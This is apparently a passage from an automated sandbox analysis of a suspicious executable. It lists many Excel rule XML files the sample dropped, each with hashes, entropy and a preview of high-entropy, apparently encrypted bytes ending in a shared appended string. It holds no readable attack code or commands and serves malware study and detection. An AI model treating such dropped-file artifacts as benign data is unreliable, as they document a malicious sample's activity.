Preview:	<?xml.:....;..2N......+i........>5...Fi..f.E.E-..j}...OS#.(.....5yz\...\O.7..,.5\|...h....B......hSw>g1Lhq......M...;!/[...p.. ..dFFv.=......D...._..0.Z}...(7.]q.P.7..`..D.s....%...'p.7IGHb1.S;...mi..=X4.....y`+.....ai.......&d..Z.......'......`..x..0...2.z......O.........=.....X.I...L..uegT......>.C.W..U.n....X....~.hzb5cl.F.?....H...NS..J?.d.....2.;.A...R.I=W S..Q...,.....`V~.c..E,:Y.. P..\|...c.....R..9.g.q...^.....:v...y...E9V..v...G...3P,.f4w.......L.p=P.+....E)i{j.TE..!nk>.^d..bnR..Bi..PzH[.+.;[......1..JM.e.o...`........$<.........p\,.I\|.xD../)k.@.@2EG..oG{..t~.y8:..h....h...u9...O..+:3.W..-..)&.....c....S...v+..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7269057858354415
Encrypted:	false
SSDEEP:	12:1Oe8Q0UIu+CPC3HceAY/DKE+25npeZ+MJCBltWTTlUGUioNhbicpG8ozSUdNciik:1L8Q0pMoAyj5pBgTBhUFN5Xo+2bD
MD5:	D9383889FD341B14AA30064C6B776C3B
SHA1:	31835F555020530EBD6C7366D7E86083C1D72EDC
SHA-256:	BCB408A9DA1D8FC9FF709FA58B4DC18ECF4C813C3312E5BD8BD12EED671B8A89
SHA-512:	B84760F729E9E6FD5CE90EDCF1876F399B13D9FF1EE0BB1604434CCE4B0EE7A6ADBFECAC1C5F640D20F8B4B3F3637CD3FF71390450456123DD6D0143A3274285
Malicious:	false
Preview:	<?xml..s..[!pl.X...].....K.S......8ZQ..F..u.:li....[."=.\|Y....$..k...`8.!...S.5#..zw...#N'...y....32a.~...G.^W.....r'5.....!>...I....@6..N...v.E&5Wo.d2.UZ.w..~.O.M.1...`I[..3..b..#3.%.>K(.......OAz..!....+..R{.{}=B..n}. .<.....,.6........[@i.ef.........Qj...@a..........#..L.GR.....s.....L;.x.....@..3G.@..\|..q......9-,.v.f..TZl3n....,.jN..K$.....K-......7.k.Gw.pBB.&Eu...-S.......r.D.P<...O..qi.dr....%\|..u>+ .....I.....t............k6..u..u...5.v........Z...t_.. .]r5...!(3.$.StRJ'N.r8.t....e(.2B.....E....h...................>......8.f...*....;.Oc<[.b.S.Z}......P.I...N...7/Z....!........R.c.X..3.7.s>..A`...z.D..K.2.....~.YI..Heg.....f.az.@y.tr.\.}J{xo...oB........M..$v...N9.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.696395890291254
Encrypted:	false
SSDEEP:	12:isQugrQdustJB0bzHlOeGNtEF8JfYMJeVLpNwWIas9jVWz9oSUdNcii9a:itugCuwQzCDBYg4lyWIaCV0P2bD
MD5:	B7018CAEE953EC0A9B35E13587F4515F
SHA1:	1612F6773EFD023BEE2D7AB8A69B0F54066ECD1C
SHA-256:	07C77AF0B075F6E0520CFE6FFFEC5DA4A72653F87702849AE188CE31FBF4213D
SHA-512:	CB708156FA72C0A17CA0BF0E4B9ED2D51D858B5220FD9CAD74FBFA164B62CE4BFB0E637B34A811837FBBEE35B8B184F215C9A53834E5BF1744C076AF4E9F9FE2
Malicious:	false
Preview:	<?xml.\..^I...q.&...f.p.!E.]N..U...6[sol@.....q.ji..2th.....U.&..q..W^.!.S....X\=....Y.),}4...\|.....k..T...n$.3.g....t...2.f....8f..?.........."Rt ...i.[fr...LC2c8......b.naY}0........T....}A...O..?....#&(;....j)\..~9\|h..i'...(..;..>....].h.q0=...U.1......3.....<..._...v.r...q..a..'.T...P!.>q.l.+......1.Y..9w.o^.De.V.....of...5..P...w..N.#Y..*....&.7.F...7..x......LT.E.........g.~k.M.Y...&.G.......=......l...,...j.:.F..u....k.L....h...........'......1...._.wClGnC.x.....0....?..h(...9.D...........`..V.c..%==..2M../.FF....NZ.i.t....&<........_.08^&..V..c.F`OD.....n..........8.....0...Y...kj.r.k@....c......Dj.#.......G ..U...r....Q^mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.734414164292931
Encrypted:	false
SSDEEP:	24:k668dnp95c2FdCNu8GIyUcWoOb9l6mDRD42bD:kadpLhFdmnGIyUcKj6mNrD
MD5:	BF68786E36054177FB2396F772B4CCF4
SHA1:	11172F3A05423433C43CFCB41D8CD84A94EA1238
SHA-256:	045C283BD17C5A0D54E9715555D7E8EA6B21A81AE725672F15F4F1D055C5016B
SHA-512:	49E14EF3F12F2AECAB800FE75230B5CE5C02FBAEB059C9D52DAEEB919FBBF12F7268D21F001ABFE05D2AED2E94B0D4D8CD4D36EE880B593BDB39D1675B7F4BA9
Malicious:	false
Preview:	<?xml..YA.O%.)1....Y..2.p.Ot....=......s<.I..\|..d_7.D...U......E.....R.y...QNo..Z...G.`.A.Y@.......!.......~K..y.(..O......A.@..O.scZ...0...O..~w;Yt..m...$V.5..O.e...._-;\0Y..j..........+W....J.......~.".HB..(./.b.....<.l..nI.G~"..Rb./..1/..Ep.....F....R..A47..I..Pe.cPA....q.;......$....LqJH..1y..v...e......r._../..\Bc..T..R.].2wE..Q..S.....xM....X1\|../..-7...#b..i..T.X_..97.)..I...HA.m...+..6j...q....!.]...h..Z...."9...~....O+.......x)......Bz.@}.K+7.Y...0...&.#.j..:.\|..T.p...@..cg...L......P...J .GT.pO...AH.N3.J........l.K>.v..h....s.j.?u..Y?`"..U..l..r...~n..p..NqN.....e..N.g...K.._...U..]....6.3..N4S........g9_....=PC..C.....~k.G..mI.9.'v. )n..W....T...0\|...L.v......l..K......XH.;xmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.778932559455629
Encrypted:	false
SSDEEP:	24:r3XYhUb8dXaD8qzw3ocCodTIVs+r2T1VvnlpYoJjF2bD:r3XYu6vuwhCGIVs+rOYoJjeD
MD5:	3CA284C03FE044AB7A8592ED80AD6D97
SHA1:	1A300106D16CD4F87D743CB092C0C9AE3374ED9D
SHA-256:	E8843D1395F5BF42A3FCC7D39D7FB72AAF9B91B57038F457E0F74AACFA8BA58A
SHA-512:	BE3F38A2C459DE74BE056249A9A6D11C24416B7C120BEC47C259BDEE9CE9D5D7D186BCFF7A5F607FC510240F706117A8C399874A9D28BA9774009A300E40F24E
Malicious:	false
Preview:	<?xmlP..+.:..d;p.........m.I.m..i.2.M...e9.@.^Xx....>.gSt......?T[.h.t.-...".f..E. VLL"..fo.5?I..\..Q..oQBe....DFa...\......)PS.dR..E........ ...&..;ia....r..[y...1....a...Z:.......p../s..w....w......3u..\.l..0..i.#...z.@.8z.I.g.:a......Mk....>z....M..M..o.]....n.'.......~.........?&..A.'.g..K(.W...~.<s..M...A...u.o.g..\$c.I...T,..6.Br..b.@.S.?SE.$..nH.........(.%-13Z,......p...wI8.....V.N...]....6lO.@H_4.2...S..J.:.3....=.\|:~.WD...G3{.@iM..w..C..fEO\|0.U.OO......)f..lg,.M]......5\|...X'.!..GgUe9...Ed)7.J....Yn.9w.?.l.1..3.;..1!*....4...f........y.]w........@..V.U.i8..`...z...q..7..u.7..&....#.!G7L9kWs......g..+c...O..T.....B.1<...7OPz.30`..Dp.....8q....../...z.+.".:.X.X9Y.;.4I.L....Q..A.....^.r..'..B...x..;N.i.u....'che...s.....)Q.[..(0.._.....I....;Uj._.^PZo..V..w..U.jY.....+H;.....CM..Q/F<.y.../Z`Gn....q...5GD....1..V......7)f.Z.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.730523126399336
Encrypted:	false
SSDEEP:	24:CLl3R60Ytl4kVgBHl6DZoXrUDEN05HMEH2bD:CLlh1fp7UDA0+JD
MD5:	1A05B84566F85766A81B4B01FB3C4454
SHA1:	2335DF2E458D050705F6140154F98CE6CDC80E2B
SHA-256:	C42C93E49F857D7C5ECCD18CD4AD14D96ABEB687C3CB6C000CFE93C2DC53FCFE
SHA-512:	961ACACE428E861FFC91D7ACA4D328566AC327A91605317A16E272E8D4EA0256DEC57DD35C280D6DC1EC4BD00BCEDD6E122778A9DD0B7D1B8ED7DCF38296BCEE
Malicious:	false
Preview:	<?xml.N.m.^..Jq.L.vQ..>:.......!...P.Q.P&t.Q..y.mAk.M`......W.....r...K.m..m.x.....d.E[.!...,.,..i@d.1..A5$N..V.'.R.nQ......\|.wh>U..;l..T...}.j..........a$k.]I./o.b.".. .;x...DE'.........I..~.w."..M....xCd..aJA.p.{....v..5..5{..jX.....s&..5.$..x...1<...)/I..5.N.L......!(.:......4..`y..&..I.q....QH..Nk....H...].1.....R....I.r].....>2.5..=x.....B.ee......`....&J5.b....Vy.I7.(O.Z.%D-c...F.]..@.....9#M.z....i.mig1Q...SIF...6.Y..\v.H$.....qk.C.\|U.n.).....$.f........^...r.xw..p).E..g....&(.[.....f.tm...T[.C]..C..XAJj...M.....2.....573G...=...D4?2..f.>C.....ME....3p..W.Q...K.t...k.........`.....?}.L#.h.-."....o..)L....D.V.9....R@.p...$l.......?/$.#.!..Ty]C..l....9..x.z....dk..U0.0WmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.738453037633193
Encrypted:	false
SSDEEP:	12:0kKgh4ihifSrxH5Arwnqv7PuRvLp01KUtXiAfQcAQfEDW91fhMTT/jAySn/00NSw:0FghIM95ArSqTuHjUQKAtY1+TlS8t2bD
MD5:	9E21FDD48305518FB9564F99C1506E46
SHA1:	70BB6DE229DB94B5B8C46B0AA05C6BF9C3C67FF8
SHA-256:	315753F334CD5B1A8BC09292CF3ACF02448C4681C3731234503923D04EDD52AF
SHA-512:	76480953CC17DF2C96EA087D8679B3670891E70725CF74A6BBA28FCDC866B10E429A205ADA13316DF6345B285512B1E23F4FE2D06BE0E6ED30C0CD432BCCE74E
Malicious:	false
Preview:	<?xmlV............n.U.Tf.;pC.,.......&.JHyQ.+B......].?.d....vw.x.......C..S.X+a.2.z...0...Xa.&.o. d....G\..y!#.k.;.n.~.....1...r.<.9..#,...!..3...>..O`D(.\Q.......-..........h.."..nd.v...Z...-n...J.O......d<.`S%./..;.`....r.\....K!.{.6.Z..f'1.I..sE8.1....1..Jyi...9R...4..../.TuaT..(.44...)&..q$.U:.w..6f...)K.&.B...K.jV...3..1'....O.....3)...*^.iD..A3.~..a................2..K.S..........a.[&/..b.C..1h......H....@u..p...Y..).Pir..y..qI3v.TcB.....-..u......:..H.:....Avn8..^/....1..6..Y(...=..kE..V..I8.."......2,..\y...`h+.l.1.......w..ps.YI.3.D...v.kiJ_..........e.....6.... }.....f%....GE.K.C...h.'w.....p..........m..KmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.747365945251413
Encrypted:	false
SSDEEP:	12:+7LwjlfX/IzQUNvRs6xuYyHYV6WiF4BrPmjPzV+CNnbKRhosEvKFc3n4zSUdNciD:Ewpv/IzBF5EPHYVNhBuA0vP2bD
MD5:	3BF97AFB91DD4952EC3C00121E3FD1A8
SHA1:	158EC7C16CE32F936DF5E711A44268D151E69AC2
SHA-256:	D4C674777DC5DED14E0D4554EC19F8628EAC4668368E0907E9A419C61EEDCC88
SHA-512:	BEB0CC53496B9977041F1E62A0600BC072CAECF26F0DC346F958FB0BF799E653E7DC30AB1635AB3945A47D1EDA29E8F44596EF29A1C0BF62B29AA9EEBF9233B5
Malicious:	false
Preview:	<?xml......{...x.BZGA...f.\|v>r........(..3g...z.0?.I..../.Q.2.A.SH..tu.4K/.s;...1cA+.4..=...RV....._.7.e....P...B........M.."...Zm..._.......,q..V.T.u/1..^k.?ww;.(..J...pDIYux2pIl.5b.%.5D.....j...[}...N2..6..........2.8Y...?..O.o=......^.I..RI...7j....i.....hP ;;&.tu.....Fz>{....l....M.b...9..+l...l..g.....$W......6..F.>.:.&...v....^k.h.E}..`#>.~1.....?_da./2>"2 ........gj9..Zq.V......e]...+.5...rFl....P9M.J......>PG...........\..x^..)..I.....,K$....j[..Z.Y.....O.9.9y.....P.8f.'.%kH.S....1v.....?..,....>./=.i`.....CDI.....I..=.a..t..[..8./h....v1H...W&0p..nU.....A.:o..r0o..C..p.w........'....U..q-)..."Jh...w@..........+..i....&...G._.L..6.w..{...U.C-.*;..T.T.R.Y......#..U@"H=Ak..{..S..Pg,.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.749916007261868
Encrypted:	false
SSDEEP:	12:ghpbOVQWxCZQl4C+6BvfR7UojM+SIVBLrClRzy3JBZG8MaazYhaIeWSUdNcii9a:iKQVa+6Jw9svSg5BQbTTV2bD
MD5:	992E2E845C5071E718C5EF595C026F63
SHA1:	87169302C291225660A430C3F15284CA15613CBA
SHA-256:	6B37DEEE0DF8260B16221A49199DF2625BC434F79E25119848A8211FB5557F41
SHA-512:	A07408F6A56CFD555F3360C6F84D141DB8F1A469E0DB274EC5C4E77EE064B71A8CC40FDCE55D5D45E6B6A8E587AD69C3A1F17AB708682AB1ED36703778DB1BBC
Malicious:	false
Preview:	<?xml..`.../.fF.D...\...S.EZ..x!.`.t....F..6...H.W..:..X...^...3Y.f./.+..... ...8Q...0.KL.....g.3..5.cq..._!...=N.%..K.X#}\n.Z....9...)...?vV.....5sx....N..x7!N.m.....?@....z...5....a.BB..DT_C.....>*e..w.....{.~.r.......y...<D.X.K....u....^xl...Cv)t6..vN"...It.i.~..J."U.........]&[........]...T..?..... ]./Kc=z..L..;.o..(}..X-.2.0x..'..=.#.h...-.Y.q../..?9.`l.\..}...{..KQ...s........h)....o.th..0$dgO.]W...3d.y._b....7..N\......_ea9+...v.'.....HsL.....Jv........dw.oS7....}..a....4...Y.[./..wDE.....BG..PV-....W3.3.Q.........=.......#..n...T.8xQ.._..9I.O....j..r.....w...L.-.i..0x..n..g...8..E,_...)...p.CK.G.lH#.b.A..A...R>M.:..<...w.J)...;..c...&mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.731445683873911
Encrypted:	false
SSDEEP:	12:suM+Z5Zn5o5zPAndvOOUffa/qTRQI3GIFVH9xTCj0yMpWqEDSSUdNcii9a:suDZ5ZSqnFvUHoPubH9xTCITpoF2bD
MD5:	EEC4FBCA760C4ED8AA5B39FD8D37A6BB
SHA1:	9EC3091961E9C0256588814572BDFB0FAFBCB2AB
SHA-256:	D8E25CCC135A9944F801ED74DD887C4E22B08027BFB69EBE2B41FCC4673C410F
SHA-512:	8B51D84B93C467325FEE0D4DC1A8AEA15BE38572A262795FC3E493B649F133ECA5E7C300F8EDA057FDCE101B73029B5310A308CABC2039433022103A31AF5BD1
Malicious:	false
Preview:	<?xmlPS.m.....!.1.......-.F.`H..................cl[!.f.eH.;...r6i..N.....1.<.z.../.......6...A.Q[..Z.O...X.F.`.8Q....\.....d-B..2..nc.Ko=s W.=.....cZ..... .t.MI..8V../k.\..l..Xs'h[.78lq.8+..s;..C.8....LRm...Y.l..D^i....`.q."....;I.}.).q.b5.E....>.v:s......?......q....uu3z@....._RH6...6....C....;...:..uMe..]..0.Q.Q.JJq...}l.7.pk.&.f.qQ...s......e.]..#...z.,cR.Q...&...lw....\..:u....Q...j..]Q..O....y.3y.M.eu..U+.8...t......~G.z.Q'.iT.u..8..]..`.....k.........I......I..w..B.sS.Q.R..D.;...I.Q....i..\|.5.T.....b.....@......`...@2!(j.{..&...3..Q...Mw...!..TO....8.ro....>Y..U@...@}n.1....G...t n../...R'N.'...g.r...O...B....E.l.....[.u...w...(.....S....-.....!.6..n.d....-g.f...o..s.T.e....3....TH.F...fFw..}mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.7223064133342145
Encrypted:	false
SSDEEP:	12:BtmPwejpeby4YfK1hIZLRRQnLlqR5AsYVr80bIAgyn7K3KpvHFGj5T2SUdNcii9a:HSH1rKTsgUfQr8Qgo7Kt5J2bD
MD5:	95F904B1070296C6B22A549DFBF2FC79
SHA1:	ED9A32638E2E2808FC33BD80A4BD5ABAC421B61C
SHA-256:	68B88C30A38AF527319C5EA099E9F02937E72160D41012D5D76277F1D5A0B38C
SHA-512:	8C4CA057E33938AF75FD2AAFD4D45A9B2A484481A86DB6A31800BAF3E6FE7FEA98FDC3E5944E092DC14B183BBC3ECDCD58E23D15CC01D7400E108FD3A7596467
Malicious:	false
Preview:	<?xml.ls.Y.............N....@. .+....:I...$U..v.t....h. .=.~.}o.;...n..\|...T....!..,.X"..3x..r.s.\.;v...3+......&.1......ai..x.\|..,e..N....dh%(..B...]....../.].U/..M.cH&#.N.......O..DQ.U..c.X.B.Jfu..%}.c....4.tSD.F.@"-.hS..U....\|.^....45..)_...@.?0..c.........4..P\lP.m8+...Q.....(.7.7..G..i._....a..y..O.ZN..$ j.9...z...<._.......+...&}FL...D\|rC.>C.Vk.u..V%......&.....J:$>.7...d..".....\_..$.3_...rg..q......k..B...;-/Q%..Xv&-#....)..OW..]..b@...l.)l.V.....\4.`{.%...q....^....!.g(S.....C4..L.&..._rQ.@..<ZH?.'k.....h...p...g...V\|.I..j.P...E=....i....9.........~..9......*.\G.....b.........]..R...FdB.....V..6..?...9'..;.~.vmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.7272803053119725
Encrypted:	false
SSDEEP:	24:sOVDSbMcHTErhagaPDp5z+WP9Rm42HAu5aSt2bD:fVD2fHEhpaPDXz99T2HDa1D
MD5:	A00B92CD292AD5E2A81BE8ED9FCCF9F5
SHA1:	64F7956FCE7CE0C56A8AD999E20236BB15EA7C3F
SHA-256:	27EA698144A01E2EAD87F7AE54CC7444108E54C585718DFA0537AB793A277F2A
SHA-512:	5ADC5DEA8929C943369EAD032CCC1FAB9AF3A433346D5EBAB828A9C03C18C5A3C83044045B7649200CC6D53B7C11DB903B9ADB798F8556C87FFFB2C5C5388EC9
Malicious:	false
Preview:	<?xml...+.p.3....\|...v..h....._a~...!.D.....B~..8.l...NVxf..T..X.m...y......3...<n......j.6...4;..~..1........R.b).... -aLS..?......Yl.(.V.....4B......f{..Y..........3...d.us'.0..H.lD.G.....3[.k...{K.C/\..cD@.F>.f..~...Q.Lb?_. JJCUb.0.q-0ob..M7......Y..a.l-.....=.5..U.S.....].b_.sX...RU......;u...a..I....(r..x..Hj......7.....E..c\..-m...1......Y.`..[Y.B....c..i.8..K.....(...H..m..3.)....3R.H.hy.......8....3.`.{/.FO6[..K.5...kU...!...h...B.2z..x.Ab6.P../W..y.RB}..]&q.y.%x.......>Nx6...(..S.'xl.n.Y........:...:05....V.o.M...V.-.k\|..+`....L.9.0..0;..~.M..!.n.`.^.n}....l... .Xt.^..K8. .h..F..r.9_....W,....._....11.1~X.Z...=..#yi..&.Py..B.....2....s....S)...........r._Gr.`L..(....v.....!.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.715694374584268
Encrypted:	false
SSDEEP:	12:NGVTjngo3eUKYS9pNdj53U3FxjVwfeE5I1iHyH+KmSLvC9aiBbnLN/dzVRwM0PsN:4VTNUd9pN9hU3FgfeRMye4esitLZKM0+
MD5:	BDC1451E5722B5DCF100CE080E9F5AC7
SHA1:	F36CE9D913B81A5D4F30707F25C25E3EF650643D
SHA-256:	AC2A9AB813CC8694D0968102F259579C6403C8C3A8373856D99F907DDBA53B88
SHA-512:	059C62B6E0649C2F487C41513496D41502665160A3301C5023799C2272746040A97025589C36B63BD37DCB1F96FC670A8396746E709CB38013DA305353E6EE00
Malicious:	false
Preview:	<?xml..!w..F....lf..sX.f;.^u...p.`;Q...;..1Ul...M..5.es6.L.tZ.bV.P.x......U..H_.-..fq..#.....w..f..k/BM3.........d.Y...R...2..E..$.....l../.:...V. &O.VL{r.o.....qe.yUT'.i......{j.w.N..jw.. .T;....<u.....v3~.T...]...N........:...;:M_v..8..x..K=c...M7y@...W\|08....`...zt.P12.....R.p$.X+Eb....?....;.00....[iR.h.Q....TZA..s..#[.....[..w.3T7. ..qa ..0u.s......(.. .ci...........W... 3..o....&.tZ.uh..).A.......9+..........z.LR+x.R,...S.4p.@...\|.n"@.g..NFiG!..Z>.Y~!..c.e^U..\g?..!......b.s.i......;B.p....;s%.#.%...yI...T...%...rT...U;..fEw..O.".S -k..d$j..0....Q&..]s.O..Jv.;..)...U..Ip....^ .s~..`=R.#....Z/i}.>.............mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.727884483472902
Encrypted:	false
SSDEEP:	24:VWmCQFQWdrJJC3mdbZ1unqCOY+o0/FHCT2bD:nCyQWZrC2/Ed0/FHtD
MD5:	223C1265E07B09D8E11FA419105109F4
SHA1:	E25D6AFECFF22B09A09F057397F549695E9A3B55
SHA-256:	8FE7E633AD779800FC7630527CD4258048EFCFA05BE3AFF7871F1F6C0B194885
SHA-512:	C5B06A03AE61569F79304D2BC3D33DA0B37DD56509CA260A9FE8A2FADA07ADB1CF0D596205C96D44CB3D971985920B41C9BBD8E9AD3D3ADCD0B91BE7FD908E80
Malicious:	false
Preview:	<?xml..bk=.?....J8!..N......sk.\|...NS#F-...,p&Q.x....Th....6...=\|.Q..t....V...g....W...Y.J!.j..Q..EP..{....r\h.........b.6....?.....{....4N2..6...y.9...i.].ew.o.7.i.:.5..[...:......0Us............{K`....H.....k..7.qw\|...9....4H...U..3..].N......M...\..fmB...1...q..4D..6<....vuebLQ~..%=.vV .~f$.4....W./u..W.YA..<G0.F.e4..4xU..!#...9P.M.....:=....Q...7...v....L.`H.@.p..l".F.x...W\x...%..@..7....H:.1.y.QmJ.....G_0....]...._!..P...&b.>g.4s.\Gf4.}..t;c...D.70K..@Nr...>.&32`Y+.@......U...q.P.....,.:.2..v.^..........6...zKc.}:~...&t8M..w....zGXd.x.l!.K..6.FM..~.............S.......*.0......f.%7$..}.!..qwz.?....o.gl.C.....N..x..^;.....S..%n...{...k.s...A$..+.+.f..".-1+8.y.1Y....S......d.9.<.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.721006702694383
Encrypted:	false
SSDEEP:	12:UQ29qcfE7dW3UYJX/WYclhvZ6ld9apbWupeVrAAfvNdxPvJklciCBpxwSUdNciik:rSdE43BFSlhvId9aBW0e5AmVdLT3n2bD
MD5:	4247DEE9C1C29A7ADE304BDCE93DED16
SHA1:	0E5DDC4173AD4BB80691B5AFC8D43D6693985D94
SHA-256:	1AADC24BB0B2F3D52DF0734D055E0AFC389546E623398E554E71C4E24596A1BD
SHA-512:	AB86A4065071A2F05D33EA89C6FEC2561C2A0826DEB0C6ACED76D26989DFD673B670899E626CE5C160D466071238A9DB35C49F7ADA7793AF899ACD1EC6A03AD7
Malicious:	false
Preview:	<?xml)..VA .....'\.U.<...u........".....%\|U.P.!<..[..+t.V...G3(..<..O..{......{P.s...0..i..p...7.!.......lO.HIFQ.n4.'.A.....N..o..q..E.......d....E.o..n...X.}{X.I.w....h......0...u.%..;.=...`.k.9`.......J53.W<#.....E......h.Av.I.R&:<i..1..g.a.. #T{i...To...M.m$..y+.:.7..J.... .9#...#f..e..]..E...d....m.(.......f...W.@.M........u..c.k.E`.`.2`.....o.$.....).....;s.#...........U[.e/^..H..rw...Mao...!.+=; ....{.'.....m.g..1d!..M7.9.s.S89g..(..'..P.F..E....0.....R...w.....E[...P....20.c..6.../..c...5....r.._..n..zK'.1.z....NmD...\.\|...D...%.\.r.......T.....U...:.....fW..1B..?5..*..~].\|n.\|.{B:$.6.I Y..n.o.w..P.)a...0..8U^.J..Y../.N........Z..#{..&.q.......27P...}.m..........mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.716598924863411
Encrypted:	false
SSDEEP:	24:TYGSFAchN+PYRQDqEDOSWLRg0wJ0yG2bD:TY3WwQDbDOb9gCGD
MD5:	D48CBB4E3DD2CEB2871CECA90C3CCCCC
SHA1:	6463016931DCDA8108759733EE379E7C1AB9315E
SHA-256:	E3EE5C9D083B20059D68022D586C73FFA89E3ABE8C23DCF94E0032181074C91B
SHA-512:	2F9904E1F6DCA535FCD81A1143AB7A01AF1C14421CEDD6762103C860616C7873C90C37D5FDC67CC3E58D0F4EF90C800CF800174923A644548962226A699FB938
Malicious:	false
Preview:	<?xml38..?j.H[.....b.T....C..".Gy......5B...\|!..7..mo.WjV0H`...u..\|K..2.....k......g?.`..[...8>8.........x\.-...v..NK.=..\|./....Mm.3..w..J........5,.L{.b...b....3..i.boy....1..uGd..=.v..2<.X~s.y.!.o...ac....?.4vaO..k.N.a...f.]........c0..wN.4q.e-<.Q7;.q-....#..O....5..r....=..T....pg..V...J...T....?.V..M.....$...L.}..>X.Y[tW..jYZ..5.9..>..E!6t..Tk..Q.g..o....W..'x...O[..l.wr....H}...%r....&y.;......WJkP.1J..>..$Y>.^HH../....;.F...oiu.....\|.l#....K.......=...m..'......N.....t..$.@k..`...........Q.i..x._....r.S.2.....n...%[0d._.d....m9.i..`...~...g......0...wQ9i}..\|/O,S.V..,.Ee7.c.tx..Y.L.....P.W.Y.c.L..R...~..0...'.EaHj.PXj.P...R...O..'..-L..<.C..No....l.....).....[L..<../.-......Z+.+..p.T...GmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
